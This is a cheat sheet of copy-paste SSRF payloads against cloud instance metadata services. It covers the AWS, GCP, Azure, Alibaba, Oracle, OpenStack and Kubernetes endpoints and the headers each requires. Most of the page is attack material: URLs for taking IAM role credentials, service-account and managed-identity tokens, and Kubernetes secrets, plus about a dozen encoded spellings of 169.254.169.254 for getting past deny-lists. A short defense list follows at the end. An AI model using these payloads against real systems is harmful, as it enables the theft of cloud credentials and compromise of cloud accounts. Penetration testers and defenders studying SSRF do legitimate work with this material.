Cloud Metadata SSRF Payloads
Copy-paste SSRF payloads for cloud instance metadata: AWS 169.254.169.254 (IMDSv1/v2), GCP metadata.google.internal, Azure, DigitalOcean, Alibaba, Oracle, OpenStack and Kubernetes — with the required headers and the defenses.
Cloud metadata is the highest-value SSRF target: reach the link-local 169.254.169.254 endpoint (or metadata.google.internal) from a vulnerable server and you usually walk away with temporary IAM credentials or an OAuth token.
This applies to any server-side fetch running on a cloud VM, container or serverless host that reaches the metadata service. GCP and Azure require a request header, so you need header control (or a gopher:// primitive) there; AWS IMDSv1 needs nothing.
Confirm the fetch is server-side first by pointing the parameter at an out-of-band listener (interactsh / Burp Collaborator) and watching for the callback before you spend time on these.
Instance metadata endpoints
One per provider. The note shows the header each one needs.
http://169.254.169.254/latest/meta-data/AWS IMDSv1 — metadata root
http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS — IAM role credentials (then append the role name)
http://169.254.169.254/latest/api/tokenAWS IMDSv2 — PUT here for a token (header X-aws-ec2-metadata-token-ttl-seconds)
http://169.254.169.254/latest/user-data/AWS — user-data (often holds secrets/bootstrap scripts)
http://metadata.google.internal/computeMetadata/v1/?recursive=trueGCP — recursive dump (header Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenGCP — service-account OAuth token (header Metadata-Flavor: Google)
http://169.254.169.254/metadata/instance?api-version=2021-02-01Azure — instance metadata (header Metadata: true)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/Azure — managed-identity token (header Metadata: true)
http://169.254.169.254/metadata/v1/DigitalOcean — droplet metadata
http://100.100.100.200/latest/meta-data/Alibaba Cloud — metadata root
http://169.254.169.254/opc/v1/instance/Oracle Cloud (OCI) — instance metadata
http://169.254.169.254/openstack/latest/meta_data.jsonOpenStack — metadata JSON
http://2852039166/latest/meta-data/AWS metadata via dotless-decimal IP (filter bypass)
http://0xa9fea9fe/latest/meta-data/AWS metadata via dotless-hex IP (filter bypass)
Encoded 169.254.169.254 (filter bypass)
Numeric spellings of the AWS/Azure metadata IP for deny-lists that string-match the dotted form.
169.254.169.254Canonical dotted-decimal (baseline)
2852039166Dotless decimal (32-bit integer)
0xa9fea9feDotless hexadecimal
025177524776Dotless octal
0xa9.0xfe.0xa9.0xfePer-octet hexadecimal
0251.0376.0251.0376Per-octet octal (leading-zero = octal in inet_aton)
0xa9.254.169.254Mixed hex + decimal
169.0xfe.0xa9.254Mixed decimal + hex
169.254.435183-part shorthand (last part = 16-bit)
169.166896622-part shorthand (last part = 24-bit)
169.254.169.254Zero-padded octets (ambiguous octal/decimal across parsers)
7147006462Decimal + 2^32 (mod-2^32 overflow bypass)
Kubernetes & container metadata
When the SSRF lands inside a cluster.
https://kubernetes.default.svc/In-cluster API server (needs the pod's service-account bearer token)
https://kubernetes.default.svc/api/v1/namespaces/default/secretsList secrets — if the service account is over-privileged
http://169.254.169.254/latest/meta-data/ (EKS/GKE/AKS node)Cloud node metadata is still reachable from many pods
http://<node-ip>:10255/podsKubelet read-only port (legacy, often open) — lists pods and env
Defense
- Enforce IMDSv2 with http-tokens: required and set the metadata hop limit to 1; confirm with aws ec2 describe-instance-metadata-options rather than trusting the launch template.
- Scope instance/service-account roles to least privilege — the blast radius is the credentials, not the reach.
- Block egress to 169.254.169.254 and metadata.google.internal at the network layer for workloads that don't need it.
- Alert on credential use from outside the instance (e.g. GuardDuty InstanceCredentialExfiltration).